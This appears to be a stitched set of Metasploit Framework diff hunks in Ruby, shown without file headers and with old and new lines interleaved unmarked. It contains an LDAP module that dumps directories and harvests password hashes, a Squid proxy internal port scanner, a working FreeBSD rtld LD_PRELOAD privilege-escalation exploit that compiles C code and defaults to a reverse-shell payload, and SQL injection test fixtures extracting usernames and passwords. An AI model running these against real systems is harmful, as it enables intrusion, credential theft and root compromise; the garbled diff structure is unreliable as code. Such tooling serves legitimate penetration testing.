# Safe if server did not returned anything
unless (entries_returned > 0)
fail_with(Failure::NotVulnerable, 'Server did not return any data, seems to be safe')
end
rescue Timeout::Error
fail_with(Failure::TimeoutExpired, 'The timeout expired while searching directory')
rescue Net::LDAP::PDU::Error, Net::BER::BerError, Net::LDAP::Error, NoMethodError => e
fail_with(Failure::UnexpectedReply, "Exception occurred: #{e.class}: #{e.message}")
end
def ldap_search(ldap, base_dn, args)
entries_returned = 0
creds_found = 0
def_args = {
base: '',
return_result: false,
attributes: %w[* + -]
}
Tempfile.create do |f|
f.write("# LDIF dump of #{peer}, base DN='#{base_dn}'\n")
f.write("\n")
begin
# HACK: fix lack of read/write timeout in Net::LDAP
Timeout.timeout(@read_timeout) do
ldap.search(def_args.merge(args)) do |entry|
entries_returned += 1
if @max_loot.nil? || (entries_returned <= @max_loot)
f.write("# #{entry.dn}\n")
f.write(entry.to_ldif.force_encoding('utf-8'))
f.write("\n")
end
@pass_attr_array.each do |attr|
if entry[attr].any?
creds_found += process_hash(entry, attr)
end
end
end
end
rescue Timeout::Error
print_error("#{peer} Host timeout reached while searching '#{base_dn}'")
return entries_returned
ensure
unless ldap.get_operation_result.code == 0
print_ldap_error(ldap)
end
if entries_returned > 0
print_status("#{peer} #{entries_returned} entries, #{creds_found} creds found in '#{base_dn}'.")
f.rewind
pillage(f.read, base_dn)
elsif ldap.get_operation_result.code == 0
print_error("#{peer} No entries returned for '#{base_dn}'.")
end
end
end
entries_returned
end
def pillage(ldif, base_dn)
vprint_status("#{peer} Storing LDAP data for base DN='#{base_dn}' in loot")
ltype = base_dn.clone
ltype.gsub!(/ /, '_')
ltype.gsub!(/,/, '.')
ltype.gsub!(/(ou=|fn=|cn=|o=|dc=|c=)/i, '')
ltype.gsub!(/[^a-z0-9\.\_\-]+/i, '')
ltype = ltype.last(16)
ldif_filename = store_loot(
ltype, # ltype
'text/plain', # ctype
@rhost, # host
ldif, # data
nil, # filename
"Base DN: #{base_dn}" # info
)
unless ldif_filename
print_error("#{peer} Could not store LDAP data in loot")
return
end
print_good("#{peer} Saved LDAP data to #{ldif_filename}")
end
def decode_pwdhistory(hash)
# https://ldapwiki.com/wiki/PwdHistory
parts = hash.split('#', 4)
unless parts.length == 4
return hash
end
hash = parts.last
unless hash.starts_with?('{')
decoded = Base64.decode64(hash)
if decoded.starts_with?('{') || (decoded =~ /[^[:print:]]/).nil?
return decoded
end
end
hash
end
def process_hash(entry, attr)
service_details = {
workspace_id: myworkspace_id,
module_fullname: fullname,
origin_type: :service,
address: @rhost,
port: rport,
protocol: 'tcp',
service_name: 'ldap'
}
creds_found = 0
# This is the "username"
dn = entry[@user_attr].first # .dn
entry[attr].each do |hash|
if attr == 'pwdhistory'
hash = decode_pwdhistory(hash)
end
# 20170619183528ZHASHVALUE
if attr == 'passwordhistory' && hash.start_with?(/\d{14}Z/i)
hash.slice!(/\d{14}Z/i)
end
# Cases *[crypt}, !{crypt} ...
hash.gsub!(/.?{crypt}/i, '{crypt}')
# We observe some servers base64 encdode the hash string
# and add {crypt} prefix to the base64 encoded value
# e2NyeXB0f in base64 means {crypt
# e3NtZD is {smd
if hash.starts_with?(/{crypt}(e2NyeXB0f|e3NtZD)/)
begin
hash = Base64.strict_decode64(hash.delete_prefix('{crypt}'))
rescue ArgumentError
nil
end
end
# Some have new lines at the end
hash.chomp!
# Skip empty or invalid hashes, e.g. '{CRYPT}x', xxxx, ****
if hash.nil? || hash.empty? ||
(hash.start_with?(/{crypt}/i) && hash.length < 10) ||
hash.start_with?('*****') ||
hash.start_with?(/yyyyyy/i) ||
hash == '*' ||
# reject {SASL} pass-through
hash =~ /{sasl}/i ||
hash.start_with?(/xxxxx/i) ||
(attr =~ /^samba(lm|nt)password$/ &&
(hash.length != 32 ||
hash =~ /^aad3b435b51404eeaad3b435b51404ee$/i ||
hash =~ /^31d6cfe0d16ae931b73c59d7e0c089c0$/i)) ||
# observed sambapassword history with either 56 or 64 zeros
(attr == 'sambapasswordhistory' && hash =~ /^(0{64}|0{56})$/)
next
end
case attr
when 'sambalmpassword'
hash_format = 'lm'
when 'sambantpassword'
hash_format = 'nt'
when 'sambapasswordhistory'
# 795471346779677A336879366B654870 1F18DC5E346FDA5E335D9AE207C82CC9
# where the left part is a salt and the right part is MD5(Salt+NTHash)
# attribute value may contain multiple concatenated history entries
# for john sort of 'md5($s.md4(unicode($p)))' - not tested
hash_format = 'sambapasswordhistory'
when 'krbprincipalkey'
hash_format = 'krbprincipal'
# TODO: krbprincipalkey is asn.1 encoded string. In case of vmware vcenter 6.7
# it contains user password encrypted with (23) rc4-hmac and (18) aes256-cts-hmac-sha1-96:
# https://github.com/vmware/lightwave/blob/d50d41edd1d9cb59e7b7cc1ad284b9e46bfa703d/vmdir/server/common/krbsrvutil.c#L480-L558
# Salted with principal name:
# https://github.com/vmware/lightwave/blob/c4ad5a67eedfefe683357bc53e08836170528383/vmdir/thirdparty/heimdal/krb5-crypto/salt.c#L133-L175
# In the meantime, dump the base64 encoded value.
hash = Base64.strict_encode64(hash)
when 'userpkcs12'
# if we get non printable chars, encode into base64
if (hash =~ /[^[:print:]]/).nil?
hash_format = 'pkcs12'
else
hash_format = 'pkcs12-base64'
hash = Base64.strict_encode64(hash)
end
else
if hash.start_with?(/{crypt}.?\$1\$/i)
hash.gsub!(/{crypt}.{,2}\$1\$/i, '$1$')
hash_format = 'md5crypt'
elsif hash.start_with?(/{crypt}/i) && hash.length == 20
# handle {crypt}traditional_crypt case, i.e. explicitly set the hash format
hash.slice!(/{crypt}/i)
hash_format = 'descrypt' # FIXME: what is the right jtr_hash - des,crypt or descrypt ?
# identify_hash returns des,crypt, while JtR acceppts descrypt
else
# handle vcenter vmdir binary hash format
if hash[0].ord == 1 && hash.length == 81
_type, hash, salt = hash.unpack('CH128H32')
hash = "$dynamic_82$#{hash}$HEX$#{salt}"
else
# Remove LDAP's {crypt} prefix from known hash types
hash.gsub!(/{crypt}.{,2}(\$[0256][aby]?\$)/i, '\1')
end
hash_format = identify_hash(hash)
end
end
# higlight unresolved hashes
hash_format = '{crypt}' if hash =~ /{crypt}/i
print_good("#{peer} Credentials (#{hash_format.empty? ? 'password' : hash_format}) found in #{attr}: #{dn}:#{hash}")
# known hash types should have been identified,
# let's assume the rest are clear text passwords
if hash_format.nil? || hash_format.empty?
credential = create_credential(service_details.merge(
username: dn,
private_data: hash,
private_type: :password
))
else
credential = create_credential(service_details.merge(
username: dn,
private_data: hash,
private_type: :nonreplayable_hash,
jtr_format: hash_format
))
end
create_credential_login({
core: credential,
access_level: 'User',
status: Metasploit::Model::Login::Status::UNTRIED
}.merge(service_details))
creds_found += 1
end
creds_found
end
end
@@ -105,7 +105,7 @@ class MetasploitModule < Msf::Auxiliary
def pillage(entries)
# TODO: Make this more efficient?
ldif = entries.map(&:to_ldif).join("\n")
ldif = entries.map(&:to_ldif).map { |s| s.force_encoding('utf-8') }.join("\n")
print_status('Storing LDAP data in loot')
@@ -48,7 +48,7 @@ class MetasploitModule < Msf::Auxiliary
destination = res.headers['Location'].split('?', 2)[0]
return true if destination.end_with?(normalize_uri(target_uri.path, 'login'))
fail_with(Failure::UnexpectedReply, "#{peer} - The server responded with a redirect that did not match a known fingerprint")
fail_with(Failure::UnexpectedReply, "The server responded with a redirect that did not match a known fingerprint")
end
def run_host(ip)
@@ -56,11 +56,11 @@ class MetasploitModule < Msf::Auxiliary
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'api')
})
version = res.get_json_document.dig('version')
if version.nil?
print_error "#{peer} - The server does not appear to be running Jupyter (failed to fetch the API version)"
return
end
fail_with(Failure::Unreachable, 'Failed to fetch the Jupyter API version') if res.nil?
version = res&.get_json_document&.dig('version')
fail_with(Failure::UnexpectedReply, 'Failed to fetch the Jupyter API version') if version.nil?
vprint_status "#{peer} - The server responded that it is running Jupyter version: #{version}"
unless requires_password?(ip)
@@ -15,119 +15,158 @@ class MetasploitModule < Msf::Auxiliary
def initialize
super(
'Name' => 'Squid Proxy Port Scanner',
'Description' => %q{
A misconfigured Squid proxy can allow an attacker to make requests on his behalf.
This may give the attacker information about devices that he cannot reach but the
Squid proxy can. For example, an attacker can make requests for internal IP addresses
against a misconfigured open Squid proxy exposed to the Internet, therefore performing
an internal port scan. The error messages returned by the proxy are used to determine
if the port is open or not.
'Name' => 'Squid Proxy Port Scanner',
'Description' => %q{
A exposed Squid proxy will usually allow an attacker to make requests on
their behalf. If misconfigured, this may give the attacker information
about devices that they cannot normally reach. For example, an attacker
may be able to make requests for internal IP addresses against an open
Squid proxy exposed to the Internet, therefore performing a port scan
against the internal network.
Many Squid proxies use custom error codes so your mileage may vary. The open_proxy
module can be used to test for open proxies, though a Squid proxy does not have to be
open in order to allow for pivoting (e.g. an Intranet Squid proxy which allows
the attack to pivot to another part of the network).
},
'Author' => ['willis'],
'References' =>
The `auxiliary/scanner/http/open_proxy` module can be used to test for
open proxies, though a Squid proxy does not have to be on the open
Internet in order to allow for pivoting (e.g. an Intranet Squid proxy
which allows the attack to pivot to another part of the internal
network).
This module will not be able to scan network ranges or ports denied by
Squid ACLs. Fortunately it is possible to detect whether a host was up
and the port was closed, or if the request was blocked by an ACL, based
on the response Squid gives. This feedback is provided to the user in
meterpreter `VERBOSE` output, otherwise only open and permitted ports
are printed.
},
'Author' =>
[
'URL','http://wiki.squid-cache.org/SquidFaq/SecurityPitfalls'
'willis', # Original meterpreter module
'0x44434241' # Detection updates and documentation
],
'License' => MSF_LICENSE
'References' =>
[
'URL', 'http://wiki.squid-cache.org/SquidFaq/SecurityPitfalls'
],
'License' => MSF_LICENSE
)
register_options(
[
OptString.new('RANGE', [true, "IPs to scan through Squid proxy", '']),
OptString.new('PORTS', [true, "Ports to scan; must be TCP", "21,80,139,443,445,1433,1521,1723,3389,8080,9100"]),
OptBool.new('MANUAL_CHECK',[true,"Stop the scan if server seems to answer positively to every request",true]),
OptString.new('CANARY_IP',[true,"The IP to check if the proxy always answers positively; the IP should not respond.","1.2.3.4"])
])
OptString.new('RANGE', [true, 'IPs to scan through Squid proxy', '']),
OptString.new('PORTS', [true, 'Ports to scan; must be TCP', '21,80,139,443,445,1433,1521,1723,3389,8080,9100']),
OptBool.new('MANUAL_CHECK', [true, 'Stop the scan if server seems to answer positively to every request', true]),
OptString.new('CANARY_IP', [true, 'The IP to check if the proxy always answers positively; the IP should not respond.', '1.2.3.4'])
]
)
end
def run_host(target_host)
begin
iplist = Rex::Socket::RangeWalker.new(datastore['RANGE'])
dead = false
portlist = Rex::Socket.portspec_crack(datastore['PORTS'])
iplist = Rex::Socket::RangeWalker.new(datastore['RANGE'])
portlist = Rex::Socket.portspec_crack(datastore['PORTS'])
dead = false
if portlist.empty?
raise Msf::OptionValidateError.new(['PORTS'])
end
if portlist.empty?
raise Msf::OptionValidateError.new(['PORTS'])
end
vprint_status("[#{rhost}] Verifying manual testing is not required...")
vprint_status("[#{rhost}] Verifying manual testing is not required...")
manual = false
# request a non-existent page first to make sure the server doesn't respond with a 200 to everything.
res_test = send_request_cgi({
'uri' => "http://#{datastore['CANARY_IP']}:80",
'method' => 'GET',
'data' => '',
'version' => '1.0',
'vhost' => ''
}, 10)
manual = false
# request a non-existent page first to make sure the server doesn't respond with a 200 to everything.
res_test = send_request_cgi({
'uri' => "http://#{datastore['CANARY_IP']}:80",
'method' => 'GET',
'data' => '',
'version' => '1.0',
'vhost' => ''
}, 10)
if res_test and res_test.body and (res_test.code == 200)
print_error("#{rhost} likely answers positively to every request, check it manually.")
print_error("\t\t Proceeding with the scan may increase false positives.")
manual = true
end
if res_test && res_test.body && (res_test.code == 200)
print_error("#{rhost} likely answers positively to every request, check it manually.")
print_error("\t\t Proceeding with the scan may increase false positives.")
manual = true
end
iplist.each do |target|
next if manual && datastore['MANUAL_CHECK']
iplist.each do |target|
next if manual and datastore['MANUAL_CHECK']
alive = nil
portlist.each do |port|
next if dead
portlist.each do |port|
next if dead
vprint_status("[#{rhost}] Requesting #{target}:#{port}")
if port == 443
res = send_request_cgi({
'uri' => "https://#{target}:#{port}",
'method' => 'GET',
'data' => '',
'version' => '1.0',
'vhost' => ''
}, 10)
else
res = send_request_cgi({
'uri' => "http://#{target}:#{port}",
'method' => 'GET',
'data' => '',
'version' => '1.0',
'vhost' => ''
}, 10)
end
if res && res.body
# Look at the HTTP headers back from Squid first, for some easy error detection.
if res.headers.key?('X-Squid-Error')
case res.headers['X-Squid-Error']
when /ERR_CONNECT_FAIL/
# Usually a HTTP 503, page body can give some more information. Example:
# <p id="sysmsg">The system returned: <i>(111) Connection refused</i></p>
if res.body =~ /id="sysmsg".*Connection refused/
if alive.nil?
print_good("[#{rhost}] #{target} is alive.")
alive = true
end
vprint_status("[#{rhost}] #{target} is alive but #{port} is closed.")
elsif res.body =~ /id="sysmsg".*No route to host/
dead = true
print_error("[#{rhost}] No route to #{target}")
end
when /ERR_ACCESS_DENIED/
# Indicates that the Squid ACLs do not allow connecting to this port.
# See: https://wiki.squid-cache.org/SquidFaq/SquidAcl
vprint_status("[#{rhost}] #{target}:#{port} likely blocked by ACL.")
when /ERR_DNS_FAIL/
# Squid could not resolve the destination hostname.
dead = true
print_error("[#{rhost}] Squid could not resolve '#{target}', try putting the IP in the RANGE parameter if known.")
else
print_error("[#{rhost}] #{target}:#{port} unknown Squid proxy error: '#{res.headers['X-Squid-Error']}' (HTTP #{res.code})")
end
next # Skip to next port if the host is not marked as dead
end
# By this stage, we've likely got a good connection. Parsing the body might no longer be reasonable if the
# destination port is not serving HTTP (eg: SSH), but we can derive information from the headers Squid
# returns.
if res.code.between?(300, 399)
# We can be more verbose if we have a known redirect.
print_good("[#{rhost}] #{target}:#{port} seems open (HTTP #{res.code} redirect to: '#{res.headers['Location']}', server header: '#{res.headers['Server']}')")
report_service(host: target, port: port, name: res.headers['Server'], info: 'Redirect to: ' + res.headers['Location'])
else
# 200 OK, 404 Not Found etc - still indicates the port was open and responding.
server = res.headers['Server'] || 'unknown'
print_good("[#{rhost}] #{target}:#{port} seems open (HTTP #{res.code}, server header: '#{server}').")
report_service(host: target, port: port, name: server, info: res.body)
end
vprint_status("[#{rhost}] Requesting #{target}:#{port}")
if port==443
res = send_request_cgi({
'uri' => "https://#{target}:#{port}",
'method' => 'GET',
'data' => '',
'version' => '1.0',
'vhost' => ''
}, 10)
else
res = send_request_cgi({
'uri' => "http://#{target}:#{port}",
'method' => 'GET',
'data' => '',
'version' => '1.0',
'vhost' => ''
}, 10)
end
if res and res.body
if res.code == 200 or res.body =~ /Zero/ or res.code == 404 or res.code == 401
print_good("[#{rhost}] #{target}:#{port} seems OPEN")
report_service(:host => target, :port => port, :name => "unknown", :info => res.body )
end
if res.body =~ /No route to host/
dead = true
print_error("[#{rhost}] #{target} is DEAD")
end
print_status("[#{rhost}] #{target}:#{port} blocked by ACL") if res.body =~ /Access control/
if res.body =~ /Connection refused/ or res.body =~ /service not listening/
report_host(:host => target)
print_good("[#{rhost}] #{target} is alive but #{port} is CLOSED")
end
end
end
dead = false
end
dead = false
end
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
rescue ::Timeout::Error, ::Errno::EPIPE
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
rescue ::Timeout::Error, ::Errno::EPIPE
end
end
end
@@ -6,78 +6,82 @@
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Post::File
include Msf::Post::Unix
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'FreeBSD rtld execl() Privilege Escalation',
'Description' => %q{
This module exploits a vulnerability in the FreeBSD
run-time link-editor (rtld).
super(
update_info(
info,
'Name' => 'FreeBSD rtld execl() Privilege Escalation',
'Description' => %q{
This module exploits a vulnerability in the FreeBSD
run-time link-editor (rtld).
The rtld `unsetenv()` function fails to remove `LD_*`
environment variables if `__findenv()` fails.
The rtld `unsetenv()` function fails to remove `LD_*`
environment variables if `__findenv()` fails.
This can be abused to load arbitrary shared objects using
`LD_PRELOAD`, resulting in privileged code execution.
This can be abused to load arbitrary shared objects using
`LD_PRELOAD`, resulting in privileged code execution.
This module has been tested successfully on:
This module has been tested successfully on:
FreeBSD 7.2-RELEASE (amd64); and
FreeBSD 8.0-RELEASE (amd64).
},
'License' => MSF_LICENSE,
'Author' =>
[
'Kingcope', # Independent discovery, public disclosure, and exploit
'stealth', # Discovery and exploit (4b1717926ed0d4823622011625fb1824)
'bcoles' # Metasploit (using Kingcope's exploit code [modified])
],
'DisclosureDate' => '2009-11-30',
'Platform' => ['bsd'], # FreeBSD
'Arch' =>
[
ARCH_X86,
ARCH_X64,
ARCH_ARMLE,
ARCH_AARCH64,
ARCH_PPC,
ARCH_MIPSLE,
ARCH_MIPSBE
],
'SessionTypes' => ['shell'],
'References' =>
[
['BID', '37154'],
['CVE', '2009-4146'],
['CVE', '2009-4147'],
['SOUNDTRACK', 'https://www.youtube.com/watch?v=dDnhthI27Fg'],
['URL', 'https://seclists.org/fulldisclosure/2009/Nov/371'],
['URL', 'https://c-skills.blogspot.com/2009/11/always-check-return-value.html'],
['URL', 'https://lists.freebsd.org/pipermail/freebsd-announce/2009-December/001286.html'],
['URL', 'https://xorl.wordpress.com/2009/12/01/freebsd-ld_preload-security-bypass/'],
['URL', 'https://securitytracker.com/id/1023250']
],
'Targets' => [['Automatic', {}]],
'DefaultOptions' =>
{
'PAYLOAD' => 'bsd/x86/shell_reverse_tcp',
'PrependSetresuid' => true,
'PrependSetresgid' => true,
'PrependFork' => true,
'WfsDelay' => 10
FreeBSD 7.2-RELEASE (amd64); and
FreeBSD 8.0-RELEASE (amd64).
},
'DefaultTarget' => 0))
register_options [
OptString.new('SUID_EXECUTABLE', [ true, 'Path to a SUID executable', '/sbin/ping' ])
]
register_advanced_options [
OptBool.new('ForceExploit', [false, 'Override check result', false]),
'License' => MSF_LICENSE,
'Author' =>
[
'Kingcope', # Independent discovery, public disclosure, and exploit
'stealth', # Discovery and exploit (4b1717926ed0d4823622011625fb1824)
'bcoles' # Metasploit (using Kingcope's exploit code [modified])
],
'DisclosureDate' => '2009-11-30',
'Platform' => ['bsd'], # FreeBSD
'Arch' =>
[
ARCH_X86,
ARCH_X64,
ARCH_ARMLE,
ARCH_AARCH64,
ARCH_PPC,
ARCH_MIPSLE,
ARCH_MIPSBE
],
'SessionTypes' => ['shell'],
'References' =>
[
['BID', '37154'],
['CVE', '2009-4146'],
['CVE', '2009-4147'],
['SOUNDTRACK', 'https://www.youtube.com/watch?v=dDnhthI27Fg'],
['URL', 'https://seclists.org/fulldisclosure/2009/Nov/371'],
['URL', 'https://c-skills.blogspot.com/2009/11/always-check-return-value.html'],
['URL', 'https://lists.freebsd.org/pipermail/freebsd-announce/2009-December/001286.html'],
['URL', 'https://xorl.wordpress.com/2009/12/01/freebsd-ld_preload-security-bypass/'],
['URL', 'https://securitytracker.com/id/1023250']
],
'Targets' => [['Automatic', {}]],
'DefaultOptions' =>
{
'PAYLOAD' => 'bsd/x86/shell_reverse_tcp',
'PrependSetresuid' => true,
'PrependSetresgid' => true,
'PrependFork' => true,
'WfsDelay' => 10
},
'DefaultTarget' => 0
)
)
register_options([
OptString.new('SUID_EXECUTABLE', [true, 'Path to a SUID executable', '/sbin/ping'])
])
register_advanced_options([
OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])
]
])
end
def base_dir
@@ -89,124 +93,116 @@ class MetasploitModule < Msf::Exploit::Local
end
def upload(path, data)
print_status "Writing '#{path}' (#{data.size} bytes) ..."
rm_f path
write_file path, data
register_file_for_cleanup path
print_status("Writing '#{path}' (#{data.size} bytes) ...")
rm_f(path)
write_file(path, data)
register_file_for_cleanup(path)
end
def check
kernel_release = cmd_exec('uname -r').to_s
unless kernel_release =~ /^(7\.[012]|8\.0)/
vprint_error "FreeBSD version #{kernel_release} is not vulnerable"
return CheckCode::Safe
return CheckCode::Safe("FreeBSD version #{kernel_release} is not vulnerable")
end
vprint_good "FreeBSD version #{kernel_release} appears vulnerable"
unless command_exists? 'gcc'
vprint_error 'gcc is not installed'
return CheckCode::Safe
end
print_good 'gcc is installed'
vprint_good("FreeBSD version #{kernel_release} appears vulnerable")
unless setuid? suid_exe_path
vprint_error "#{suid_exe_path} is not setuid"
return CheckCode::Detected
unless command_exists?('cc')
return CheckCode::Safe('cc is not installed')
end
vprint_good "#{suid_exe_path} is setuid"
vprint_good('cc is installed')
unless setuid?(suid_exe_path)
return CheckCode::Detected("#{suid_exe_path} is not setuid")
end
vprint_good("#{suid_exe_path} is setuid")
CheckCode::Appears
end
def exploit
unless check == CheckCode::Appears
unless datastore['ForceExploit']
fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.'
end
print_warning 'Target does not appear to be vulnerable'
end
if is_root?
unless datastore['ForceExploit']
fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.'
fail_with(Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.')
end
end
unless writable? base_dir
fail_with Failure::BadConfig, "#{base_dir} is not writable"
unless writable?(base_dir)
fail_with(Failure::BadConfig, "#{base_dir} is not writable")
end
if base_dir.length > 1_000
fail_with Failure::BadConfig, "#{base_dir} path length #{base_dir.length} is larger than 1,000"
max_len = 1_000
if base_dir.length > max_len
fail_with(Failure::BadConfig, "#{base_dir} path length #{base_dir.length} is larger than #{max_len}")
end
payload_path = "#{base_dir}/.#{rand_text_alphanumeric 5..10}"
payload_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"
executable_data = <<-EOF
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
executable_data = <<~LIB
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void _init() {
extern char **environ;
environ=NULL;
system("#{payload_path} &");
}
EOF
void _init() {
extern char **environ;
environ=NULL;
system("#{payload_path} &");
}
LIB
executable_path = "#{base_dir}/.#{rand_text_alphanumeric 5..10}"
upload "#{executable_path}.c", executable_data
output = cmd_exec "gcc -o #{executable_path}.o -c #{executable_path}.c -fPIC -Wall"
register_file_for_cleanup "#{executable_path}.o"
executable_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"
upload("#{executable_path}.c", executable_data)
output = cmd_exec("cc -o #{executable_path}.o -c #{executable_path}.c -fPIC -Wall")
register_file_for_cleanup("#{executable_path}.o")
unless output.blank?
print_error output
fail_with Failure::Unknown, "#{executable_path}.c failed to compile"
print_error(output)
fail_with(Failure::Unknown, "#{executable_path}.c failed to compile")
end
lib_name = ".#{rand_text_alphanumeric 5..10}"
lib_name = ".#{rand_text_alphanumeric(5..10)}"
lib_path = "#{base_dir}/#{lib_name}"
output = cmd_exec "gcc -shared -Wall,-soname,#{lib_name}.0 #{executable_path}.o -o #{lib_path}.0 -nostartfiles"
register_file_for_cleanup "#{lib_path}.0"
output = cmd_exec("cc -shared -Wall,-soname,#{lib_name}.0 #{executable_path}.o -o #{lib_path}.0 -nostartfiles")
register_file_for_cleanup("#{lib_path}.0")
unless output.blank?
print_error output
fail_with Failure::Unknown, "#{executable_path}.o failed to compile"
print_error(output)
fail_with(Failure::Unknown, "#{executable_path}.o failed to compile")
end
exploit_data = <<-EOF
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
exploit_data = <<~EXPLOIT
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
int main() {
extern char **environ;
environ = (char**)calloc(8096, sizeof(char));
int main() {
extern char **environ;
environ = (char**)calloc(8096, sizeof(char));
environ[0] = (char*)calloc(1024, sizeof(char));
environ[1] = (char*)calloc(1024, sizeof(char));
strcpy(environ[1], "LD_PRELOAD=#{lib_path}.0");
return execl("#{suid_exe_path}", "", (char *)0);
}
EXPLOIT
environ[0] = (char*)calloc(1024, sizeof(char));
environ[1] = (char*)calloc(1024, sizeof(char));
strcpy(environ[1], "LD_PRELOAD=#{lib_path}.0");
return execl("#{suid_exe_path}", "", (char *)0);
}
EOF
exploit_path = "#{base_dir}/.#{rand_text_alphanumeric 5..10}"
upload "#{exploit_path}.c", exploit_data
output = cmd_exec "gcc #{exploit_path}.c -o #{exploit_path} -Wall"
register_file_for_cleanup exploit_path
exploit_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"
upload("#{exploit_path}.c", exploit_data)
output = cmd_exec("cc #{exploit_path}.c -o #{exploit_path} -Wall")
register_file_for_cleanup(exploit_path)
unless output.blank?
print_error output
fail_with Failure::Unknown, "#{exploit_path}.c failed to compile"
print_error(output)
fail_with(Failure::Unknown, "#{exploit_path}.c failed to compile")
end
upload payload_path, generate_payload_exe
chmod payload_path
upload(payload_path, generate_payload_exe)
chmod(payload_path)
print_status 'Launching exploit...'
output = cmd_exec exploit_path
print_status('Launching exploit...')
output = cmd_exec(exploit_path)
output.each_line { |line| vprint_status line.chomp }
end
end
@@ -0,0 +1,3 @@
RSpec.describe Msf::Exploit::SQLi::MySQLi::Common do
it_should_behave_like 'Msf::Exploit::SQLi::Common', described_class
end
@@ -0,0 +1,3 @@
RSpec.describe Msf::Exploit::SQLi::MySQLi::TimeBasedBlind do
it_should_behave_like 'TimeBasedBlind', described_class
end
@@ -0,0 +1,144 @@
RSpec.shared_examples 'Msf::Exploit::SQLi::Common' do |sqli_class|
let(:common_class) do
sqli_class
end
before(:example) do
# because vprint_status accesses framework, datastore and user_output
allow_any_instance_of(common_class).to receive(:vprint_status).and_return(nil)
end
let(:datastore) { instance_double(::Msf::DataStore) }
context 'Without opts' do
let(:query_proc) do
proc do |payload|
payload[/'(.+?)'/, 1] || ''
end
end
let(:sqli_obj) do
common_class.new(datastore, {}, {}, &query_proc)
end
context('#run_sql') do
queries = ["select concat(username,':',password) from users", "select 'hello'", 'select 1234 from users']
query_results = [ ':', 'hello', '' ]
queries.each_with_index do |query, i|
it 'Should call vprint_status on run_sql' do
expect(sqli_obj).to receive(:vprint_status).once
expect(sqli_obj.run_sql(query)).to eql query_results[i]
end
end
end
context('#test_vulnerable') do
it 'Should detect if the sqli object is expected to perform SQLi successfully' do
expect(sqli_obj.test_vulnerable).to eql true
allow(sqli_obj).to receive(:run_sql).and_return '<div id="articles"></div>'
expect(sqli_obj.test_vulnerable).to eql false
end
end
context('#dump_table_fields') do
result_limit = rand(1..26)
common_query = /^select.*password.*from.*maindb\.users\s*;?\s*?(?:#|--)?$/mi
condition_query = /^select.*password.*from.*maindb\.users\s+where/mi
limit_query = /^select.*password.*from.*maindb\.users\s+limit/mi
# query without condition and limit
it 'Should yield valid queries' do
expect(sqli_obj).to receive(:run_sql).and_call_original
expect(query_proc).to receive(:call).with(common_query).and_call_original
sqli_obj.dump_table_fields('maindb.users', %w[password])
end
# query with condition string
it 'Should yield valid queries when the user adds a condition' do
expect(query_proc).to receive(:call).with(condition_query).and_call_original
sqli_obj.dump_table_fields('maindb.users', %w[password], "username='admin'")
end
# query with limit
it 'Should yield valid queries when the user adds a limit number' do
expect(query_proc).to receive(:call).with(limit_query).and_call_original
sqli_obj.dump_table_fields('maindb.users', %w[password], '', result_limit)
end
end
end
context 'truncation_length set' do
let(:opts) do
{ truncation_length: rand(1..20) }
end
let(:query_proc) do
proc do |payload|
payload[/'(.+?)'/, 1] || ''
end
end
let(:sqli_obj) do
common_class.new(datastore, {}, {}, opts, &query_proc)
end
context '#truncated_query should act like run_sql' do
let(:query_result) do
'e951a99943ebe29c6fc425c7df2a0544,028cad8c0961163ef8401d3573b41d8e,b090e41c61a321c99bca94bdb26d1788'
end
let(:query_proc) do
i = 0
proc do |_payload|
slice = query_result[i, opts[:truncation_length]]
i += opts[:truncation_length]
if slice.empty?
i = 0
''
else
slice
end
end
end
let(:sqli_obj) do
common_class.new({}, {}, {}, opts, &query_proc)
end
it 'Should concatenate the slices and return output like run_sql' do
expect(sqli_obj.send(:truncated_query, 'select substr(username,^OFFSET^,' \
"#{opts[:truncation_length]}) from users")).to eql query_result
end
end
context 'call_function and dump_table_fields should call truncated_query instead of run_sql' do
it '#dump_table_fields' do
expect(sqli_obj).to receive(:truncated_query).and_call_original
sqli_obj.dump_table_fields('users', %w[username])
end
it '#call_function' do
# called by version(), current_user(), current_database() if sqli_obj responds to them
expect(sqli_obj).to receive(:truncated_query)
sqli_obj.send(:call_function, 'version()')
end
end
end
context 'custom encoder set' do
let(:opts) do
{ encoder: { encode: 'reverse(^DATA^)', decode: :reverse.to_proc } }
end
let(:dump_data) do
%w[
ALL_PLUGINS APPLICABLE_ROLES CHARACTER_SETS CHECK_CONSTRAINTS COLLATIONS
COLLATION_CHARACTER_SET_APPLICABILITY COLUMNS COLUMN_PRIVILEGES ENABLED_ROLES
]
end
let(:query_proc) do
proc do
# the server response should be encoded
dump_data.map(&:reverse).join(',')
end
end
let(:sqli_obj) do
common_class.new(datastore, {}, {}, opts, &query_proc)
end
context '#initialize' do
it 'should set the custom encoder' do
expect(sqli_obj.instance_variable_get(:@encoder)).to eql opts[:encoder]
end
end
context '#enum_table_names' do
function_call = /reverse\(/i
it 'Should apply the encoder correctly in the query, and use the decoder to retrieve decoded results' do
expect(sqli_obj.instance_variable_get(:@query_proc)).to receive(:call).with(function_call).and_call_original
expect(sqli_obj.enum_table_names).to eql dump_data
end
end
end
end
@@ -0,0 +1,25 @@
RSpec.shared_examples 'TimeBasedBlind' do |sqli_class|
let(:datastore) { instance_double(::Msf::DataStore) }
let(:timebased_class) do
sqli_class
end
let(:datastore) do
{ 'SqliDelay' => 1.0 }
end
let(:query_proc) do
proc do |payload|
delay = payload[/\d+(?:.?\d*)?/].to_f
Timecop.travel(Time.now + delay)
end
end
